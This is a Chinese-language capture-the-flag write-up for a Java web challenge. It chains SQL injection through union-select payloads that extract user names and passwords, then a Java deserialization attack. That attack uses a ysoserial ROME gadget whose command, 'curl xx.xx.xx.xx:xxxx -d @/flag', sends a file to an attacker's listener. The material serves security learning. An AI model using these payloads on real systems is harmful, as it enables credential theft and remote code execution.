打开题目附件
推测与sql注入有关,打开sqldict.class,发现连接数据库的代码 以及数据库查询语句
开始入手,burp抓包,发至repeater
此处为请求地址,加入请求,并结合代码加入注入代码
Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = 'myapp?a=' union select 1#' and table_name='" + TableName
//表名user 最终判断出id ,name,pwd
myapp?a=' union select (select name from user)#
myapp?a=' union select (select pwd from user)#
得到name,pwd
代码中还引入了一个包 import io.swagger.annotations.ApiOperation;
Swagger
Swagger 是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。总体目标是使客户端和文件系统作为服务器以同样的速度来更新。文件的方法,参数和模型紧密集成到服务器端的代码,允许API来始终保持同步。
Swagger UI 提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。
访问 url: 题目地址/swagger-ui.html
页面进行接口测试打开
在该接口测试登录,try it out
返回data,以rO0AB开头,java序列化,在身份认证处提交
返回了用户登录成功
新版本使用 b = base64.b64decode(a).hex()替换上面的b=
SerializationDumper是与ysoserial相对应的工具,用来解析数据
下载:Releases · NickstaDB/SerializationDumper · GitHub
解析
相当于把服务器的token数据先base64解密,再反序列化
若要进行攻击
让你看的是那个返回包里面的ctfhub账户名,说明这个账户名是被反序列化过后得到值
漏洞产生原因就是查看当前用户信息时,请求数据包进行返回
进行攻击ysoserial
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl xx.xx.xx.xx:xxxx -d @/flag" > xiaodi.bin
//xx.xx.xx.xx:xxxx 服务器ip加一会监听的端口
Rome是为RSS聚合而开发的开源包
生成bin文件,在进行base64加密,文件更改名字即可
运行后,抓包在Authorization输入打印的信息go即可
本地服务器监听